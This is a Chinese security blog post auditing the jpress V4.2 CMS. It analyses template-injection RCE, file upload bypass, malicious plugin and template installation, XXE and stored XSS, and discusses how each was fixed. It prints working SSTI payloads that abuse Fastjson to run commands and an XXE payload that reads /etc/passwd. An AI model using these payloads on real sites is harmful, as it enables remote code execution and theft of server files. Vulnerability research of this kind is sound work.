jpress V4.2 代码审计
Drunkbaby Lv6
  2022-11-06 11:23:45 2022-11-06 11:23   2023-03-29 22:02:28      4.5k 字  17 分钟  

jpress V4.2 代码审计

0x01 前言

最近做 CMS 审计的时候恰好碰到了这么一个框架，学习漏洞不光是要会打，还要明白原理，结合网站可知；是用 jpress V4.2 搭建的，来学习一手。（后面发现是 就press3.0，我是小丑

jpress 类似于 WordPress Write in Java，和 PHP 的 WordPress 非常像。不过 Java 搭建环境会比 PHP 要复杂一些，当时我自己也是因为环境搭建的问题卡了很久（非常多的问题，不只是 maven，这一块踩坑的师傅可以滴滴我

比起普通的 SpringBoot 搭建的 Java 环境相比，jpress 使用的 jBoot，和 SpringBoot 十分类似，不过看点其他架构写的项目也是比较有趣。

0x02 环境搭建

  • 这个项目的环境搭建会有点烦躁

项目地址：https://github.com/JPressProjects/jpress

去到 release 页面下，下载 v4.2 版本的，后续会对新版本当中的漏洞进行挖掘。

下载完毕项目之后，先在项目界面输入命令

1
mvn clean package

此处比较坑，我遇到的问题是

1
Failed to execute goal org.apache.maven.plugins:maven-jar-plugin:2.4:jar (default-jar) on project codegen: Execution default-jar of goal org.apache.maven.plugins:maven-jar-plugin:2.4:jar failed: A required class was missing while executing org.apache.maven.plugins:maven-jar-plugin:2.4:jar: org/codehaus/plexus/components/io/resources/PlexusIoResourceCollection

将存储 maven 仓库的所有库都删掉即可，接着再执行命令即可。

搭建完毕之后创建数据库，但不要导入文件，也不要修改任何配置，直接跑项目。

项目跑起来之后会访问到 http://localhost:8080/install 下

按照要求完成安装之后，会让你配置一些网站信息。

至此，搭建完成！

在 undertow.txt 中可以修改端口

0x03 代码审计

代码审计准备

架构理解

jpress 项目分为前台页面和后台管理界面，前台页面是纯前端的内容，所以漏洞点主要是在后台管理页面这里。

在后台管理界面这里，需要在模板 —> 所有模板中选择对应的模板，才能在前台页面看到一些漏洞的回显。比如 XXE，XSS 这些，在公司测试的时候没有注意到这一点，吃了些亏。

pom.xml 与 Filter 等审计

查看父项目的 pom.xml，发现用的都是最新版本的组件，理论上不存在组件漏洞。

此项目中不存在 Filter，这就意味着很可能存在 SQL 注入或者是 XSS

存在多 module，需要我们对不同 module 功能块进行审计，尽量从一个漏洞发现者的角度去看，这样还是可以学到很多的。

模板渲染引起的 RCE

影响接口

1
2
3
4
/admin/article/setting
/admin/page/setting
/admin/product/setting
/admin/template/edit
  • 在 setting 目录下存在好几处的模板渲染漏洞

漏洞分析

为什么想到这个漏洞呢？原因是在文章 ——> 设置这里面的 “评论邮件通知管理员” 中；官方给出了例子，告诉我们可以用 #(comment.id)，那么猜测这里可能会存在模板渲染问题，此处对应的模板是 Velocity

进去看与文章评论相关的类，找到是这一个 ———— io.jpress.module.article.controller.front.ArticleController，这里是有关于前台页面当中，对于文章的管理的一个类。我们在 postComment() 方法处下一个断点，这个方法的作用主要是将评论信息保存到数据库，同时还会发送短信通知网站管理员。

我们先开启文章评论的功能，如图

接着发布一条评论，来看一看它的运行流程。

前面是一系列的赋值与基础判断，有兴趣的师傅们可以自行调试看一下，属于是很简单的部分。直接看重点部分，第 268 行。

跟进一下，进入到 notify() 方法，它这里面定义了两种将评论发送给管理员的方式，一种是 Email 的形式，另外一种是 Sms 的形式。我们先跟进 email 的看一下，这里会先判断是否开启了 article_comment_email_notify_enable，如果开启了则进入到 email 的形式当中。

跟进 doSendEmail() 方法，它去做了 SendEmail 这个动作的具体业务实现。

doSendEmail() 方法前面都是一些基础赋值，到第 90 行看到了模板渲染操作，在第 90 和 91 行，分别对邮件的 emailTitle 和 emailTemplate 调用 getTemplateByString() 方法进行渲染，这两个变量对应 #(comment.id) 处的两个值。

  • 而漏洞的触发点实际上是在同一行语句的 renderToString() 方法下。

跟进 render() 方法

发现里面存在一个危险方法 exec()，跟进一下，在 exec() 方法当中对输入的评论进行遍历。

连续跟进一下，会到 com.jfinal.template.expr.ast.Method 这个类的 eval() 方法下，对应的调用栈如下

1
2
3
4
5
6
7
8
9
10
11
12
13
eval:81, Method (com.jfinal.template.expr.ast)
assignVariable:102, Assign (com.jfinal.template.expr.ast)
eval:95, Assign (com.jfinal.template.expr.ast)
exec:57, Set (com.jfinal.template.stat.ast)
exec:68, StatList (com.jfinal.template.stat.ast)
render:74, Template (com.jfinal.template)
renderToString:91, Template (com.jfinal.template)
doSendEmail:91, ArticleNotifyKit (io.jpress.module.article.kit)
lambda$byEmail$16:70, ArticleNotifyKit (io.jpress.module.article.kit)
run:-1, 1607068801 (io.jpress.module.article.kit.ArticleNotifyKit$$Lambda$79)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

此处就可以很明显的看到存在反射调用任意类的命令执行漏洞

在 Velocity 这个模板引擎当中非常奇妙，先从模板引擎说起，师傅们都知道模板引擎有时候是可以写脚本的，可以进行一些简单的赋值与输出这类的操作。

在 Velocity 中 "#" 用来标识 Velocity 的脚本语句，包括 #set、#if 、#else、#end、#foreach、#end、#iinclude、#parse、#macro 等；

如：

1
2
3
4
5
#if($info.imgs) 
<img src="$info.imgs" border=0> 
#else 
<img src="noPhoto.jpg"> 
#end

那么在这一个 PoC 当中，我们可以借助 Fastjson 的特性辅助攻击。

  • 构造 PoC 如下，并将它插入到评论的内容当中。
1
2
3
#set(x=net.sf.ehcache.util.ClassLoaderUtil::createNewInstance("javax.script.ScriptEngineManager"))
#set(e=x.getEngineByName("js"))
#(e.eval('java.lang.Runtime.getRuntime().exec("calc")'))

按照道理来说，这里前台只要输入任意的东西，就可以造成 SSTI To RCE 这么一个效果，但是这里却抛出了异常，具体位置是在 renderToString() 方法调用之后抛出了异常，如图。

仔细看一下报错信息：其实是在说，第三行的地方存在着不合法的字符，这个字符其实是单引号。

所以这里我们需要用另外一种方式来打，尝试不使用引号构造 payload，构造出了如下 payload，我们将字符串内容通过评论内容进行传入

1
2
3
4
5
6
7
8
9
10
11
12
13
#set(str=comment.content)
#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance()) 
#(x.setAutoTypeSupport(true)) 
#set(sem=str.substring(0, str.indexOf(124)))
#set(str=str.substring(str.indexOf(124)+1))
#(x.addAccept(sem)) 
#set(json=str.substring(0, str.indexOf(124)))
#set(str=str.substring(str.indexOf(124)+1))
#set(x=com.alibaba.fastjson.JSON::parse(json))
#set(js=str.substring(0, str.indexOf(124)))
#set(str=str.substring(str.indexOf(124)+1))
#set(e=x.getEngineByName(js)) 
#(e.eval(str))

因为后端在渲染模板时将 comment 对象传入了，所以我们可以获取 comment.content，而这个值又是在评论时可控的，配合 Fastjson 打。

在评论的地方构造 payload

1
javax.script.ScriptEngineManager|{"@type":"javax.script.ScriptEngineManager"}|js|java.lang.Runtime.getRuntime().exec("calc")

攻击成功！

漏洞修复

我认为的修复方式会比较贴近于 Velocity 的一些修复方式，而 Velocity 到目前最新版本也没有提供沙盒或者防御方式，只能禁止或严格过滤用户输入进入 Velocity.evaluate。但是这一框架是作者团队自己编写的，并非 Velocity

但是在这一个项目当中，我们可以去看一下 jpress V5.0.5 的版本当中是如何修复的，这个地方当时自己找的时候花了很久时间。

jpress V5.0.5，也就是最新版本当中，是通过转义字符来修补这个漏洞的。挺妙的，代码量小且利用效率高，很强。它的修补手段是在 getPara() 方法处先做一个转义，具体代码的调用栈如下

1
2
3
4
5
cleanXss:79, XSSHttpServletRequestWrapper (io.jboot.web.xss)
getParameter:32, XSSHttpServletRequestWrapper (io.jboot.web.xss)
getParameter:161, ServletRequestWrapper (javax.servlet)
getPara:189, Controller (com.jfinal.core)
postComment:148, ArticleController (io.jpress.module.article.controller.front)

跟进 escapeHtml() 方法，它调用了 replaceEach() 方法，replaceEach() 方法做了转义恶意字符的工作，有兴趣的师傅们可以跟进自行调试一下，很简单。

前台任意文件上传漏洞

影响接口

1
/ucenter/avatar

漏洞影响域在 /ucenter/avatar 下，这里对应的接口找了很久，最后终于找到是在 io.jpress.web.commons.controller.AttachmentController#upload 处

漏洞分析

产生漏洞的根本原因是，Web 应用程序允许上传一个 file[] 数组，而非单个文件，从而我们可以构造多个文件同时上传来绕过。

直接讲代码非常抽象，我们这里先上 payload 打，通过上传多个文件，使后续的文件绕过恶意文件的判断

攻击的效果是在 /attachment 文件夹下，能够上传我们的恶意文件，同样能够访问得到。但是这里有个小问题，我尝试上传 jsp 与 jspx 来写🐎，发现无法上传，但是上传 .war 和 .jar 都是可行的，有点奇怪（留个坑）

  • 具体的运行流程分析如下，先把断点下在 upload() 方法处

一开始获取文件，并将第 0 个元素赋给 file

在执行完 getFile 之后，可以看到，我们上传的文件已经被保存到了临时文件目录，也就是 attachment 目录下，这其实就是一个暂存的动作。

紧接着，在65行，判断了文件是否合法，不合法就删除，对应的黑名单在 unSafe() 方法里面。

接着往下走，进行了是否是 image 这个类型的判断，如果是 image 这个类型，则会限制上传的 image 大小。

至此对于上传文件的限制就结束了，所以我们看到程序对于多个文件的上传并未做严格的限制。通过上传多个文件可以绕过黑名单的判断。

这个洞非常有意思，不仅给了 file 为数组的时候的绕过手段，在日后的渗透当中，也可以将 file 修改为 file[] 来攻击。

漏洞修复

  • 此处我的想法是不允许将 file 以数组的形式上传

至于官方的修复也很妙，官方的修复方式是对业务影响最小的修复方式，我们可以来看一看 jpress V5.0.5 的代码

先判断在数组文件当中，是否只有一个文件，如果只有一个文件，那么就通过 get(0) 获取到它，如果有多个文件，就将多个文件直接执行 delete 操作。

妙！

插件安装处存在命令执行漏洞

影响接口

1
admin/addon/install

漏洞分析

此处允许我们上传 jar 包，并不是允许上传 jar 包就一定会存在漏洞，具体漏洞的情况还要看内部有没有进行一些过滤的手法。

找了很久对应的接口，最后发现是在 io.jpress.web.admin._AddonController 的doUploadAndInstall() 方法下做的对应业务。

下个断点，我们先编写一个恶意的 jar 包，接着上传，开始调试。

因为这也是一个文件上传点，所以依旧会存在多个文件绕过的方式。我们继续往下看，在获取到文件后，会判断是否是 zip 或是 jar 的文件类型。

继续往下，关键语句在 readSimpleAddonInfo() 处，readSimpleAddonInfo() 方法会把我们所有的东西保存到一个 Zip 包里面，当然 jar 包后续会打包成 jar 包。

继续往下走，到第 118 行，这一个 install() 方法相当关键。

跟进一下，它会走到 AddonManager#install，也就是开始执行 jar 包的插件安装，在第 206 行，跟进 readAddonInfo() 方法，跟进一下

在这个方法里面会创建一个类加载器来加载插件里的类，这里又复用了一遍 readSimpleAddonInfo() 方法

跟进 classLoader.load()，这个方法的作用就是先加载类，然后把不同的类进行归类，Controller 归到一起，Interceptor 归到一起

先加载类

然后根据类的功能进行归类，把他们分别添加到了 addonInfo 的特定字段当中

接下来在处理请求时就会利用到这些 controller，从而实现攻击。现在对于我们来说，访问 helloworld 这一个 controller 即可。执行命令执行。

漏洞修复

  • 官方作者这里并没有给出对应的修复方法……对应的解释如下

“不处理这个问题，原因是：
1、必须获得 JPress 的后台登录地址，虽然有默认的登录地址，但是可配置成其他复杂的地址
2、拥有登录地址后，必须有管理员的账号和密码，这种一般只有设置了弱密码，或者管理员主动泄漏。
3、安装了 恶意 的插件

而目前 Java 行业凡是对于可以安装插件的产品来讲，都是无法避免这个问题的。这个需要网站管理提高安全意识、设置复杂的登录地址和登录账号密码，不轻易安装不认可的插件即可解决。这种由于安全意识造成的问题，并非软件问题。”

其实还是蛮能理解的……

所以此处我认为并没有比较合适的修复手段……

模板安装处存在命令执行漏洞

影响接口

1
admin/template/install

漏洞分析

断点下在 io.jpress.web.admin._TemplateController 下的 doInstall() 方法，上传一个恶意的 zip 文件，开始调试。

一开始会进行判断，是否为 zip 文件

经过一系列判断之后，到 155 行，155 行这里实际上做了一个文件 move 的操作，将文件先 “暂存”到了对应的文件夹下；到 156 行，进行 zip 压缩包的解压。

具体的业务就不看了，比较简单，有兴趣的师傅可以跟着调试一下。

在这之后，evil.zip 就成功被解析成 evil 文件夹，并保存到了对应的文件夹下。

不过模板注入存在些许过滤，我们使用 Fastjson 来辅助获取 ScriptEngineManager，然后执行任意 js 代码，就可以实现 rce，payload 如下

1
2
3
4
5
6
#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance()) 
#(x.setAutoTypeSupport(true)) 
#(x.addAccept("javax.script.ScriptEngineManager")) 
#set(x=com.alibaba.fastjson.JSON::parse('{"@type":"javax.script.ScriptEngineManager"}'))
#set(e=x.getEngineByName("js")) 
#(e.eval('java.lang.Runtime.getRuntime().exec("calc")'))

后台这个地方存在一个模板预览功能，这就用到了利用方式

开启之后可以通过 get 传入 template 参数来指定使用的模板，比如这里我们指定使用 cn.jeanstudio.bonhumeur 这个模板。而因为我们上传的是一个 html，所以我们可以直接访问 evil/?template=evil 来攻击

漏洞修复

这里漏洞修复的方法比较巧妙，它禁止了在 html 中使用 #set 的调用，所以我们恶意的 payload 无法打成功，对应的过滤语句我没有找到，如果有师傅找到了请指点一下我（我太菜了www

从 WordPress 中导入文章功能存在 XXE 漏洞(在对应的低版本可以，V4.2 不行)

影响接口

1
/admin/setting/tools/wordpress

漏洞分析

对应的业务点在 io.jpress.module.article.controller.admin._WordpressImport#doWordPressImport 处

同样，这也是一个文件上传点，前面的就不看了，直接看 xml 解析的部分。

跟进 wordPressXmlParser.parse()，里面就是正常的 XML 解析业务，但同时可以发现，此处禁止了 DTD 的使用，所以 V4.2 版本这里是不存在漏洞的。我们来看一看 V4.1.2 也就是存在漏洞的版本中的代码。

V 4.1.2 版本当中未过滤任意 DTD，所以能够造成 XXE 漏洞攻击。

payload 如下：

1
2
3
4
5
6
7
8
9
10
11
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>

<item>
<wp:post_type>post</wp:post_type>
<title>2</title>
<content:encoded>&f;</content:encoded>
<wp:status>draft</wp:status>
</item>

漏洞修复

禁用 DTD，代码可以参照 V4.2 版本的当中的

1
2
3
4
5
6
SAXParserFactory factory = SAXParserFactory.newInstance();
            factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
            factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
            factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
            factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
            factory.setXIncludeAware(false);

模板编辑处存在存储型 XSS(在对应的低版本可以，V4.2 不行)

影响接口

1
2
admin/template/setting
以及多个模板编辑处，此处不列举

漏洞分析

在对应的接口处插入 XSS 语句

在前端界面处可以直接产生 XSS 的效果

  • 作者的意思是这里本身就允许编辑代码，所以并非属于漏洞。

漏洞修复

作者虽然比较“嘴硬”说了本身就允许编辑代码，所以并非属于漏洞，但还是偷偷把这个洞给修了（雾）

作者这里的修复方法是加白，也就是说虽然这确实允许编辑代码，但是像 alert()、svg 这一种标签就不允许过，仅能过一些 h1、h2 这种非恶意标签。

0x04 小结

  • 在 jpress 当中存在的漏洞主要是因为过于信任用户的输入，同时给出的一些修复思路非常有趣，是一个很好的代码审计 CMS

0x05 参考链接

https://github.com/JPressProjects/jpress/issues
以及 Erc111111 师傅的帮助 ———— https://er1cccc.gitee.io/r2/

  • 本文标题：jpress V4.2 代码审计
  • 本文作者：Drunkbaby
  • 创建时间：2022-11-06 11:23:45
  • 本文链接：2022/11/06/jpress-V4-2-代码审计/
  • 版权声明：本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！
 评论
  1. 0x01 前言
  2. 0x02 环境搭建
  3. 0x03 代码审计
    1. 代码审计准备
      1. 架构理解
      2. pom.xml 与 Filter 等审计
    2. 模板渲染引起的 RCE
      1. 影响接口
      2. 漏洞分析
      3. 漏洞修复
    3. 前台任意文件上传漏洞
      1. 影响接口
      2. 漏洞分析
      3. 漏洞修复
    4. 插件安装处存在命令执行漏洞
      1. 影响接口
      2. 漏洞分析
      3. 漏洞修复
    5. 模板安装处存在命令执行漏洞
      1. 影响接口
      2. 漏洞分析
      3. 漏洞修复
    6. 从 WordPress 中导入文章功能存在 XXE 漏洞(在对应的低版本可以，V4.2 不行)
      1. 影响接口
      2. 漏洞分析
      3. 漏洞修复
    7. 模板编辑处存在存储型 XSS(在对应的低版本可以，V4.2 不行)
      1. 影响接口
      2. 漏洞分析
      3. 漏洞修复
  4. 0x04 小结
  5. 0x05 参考链接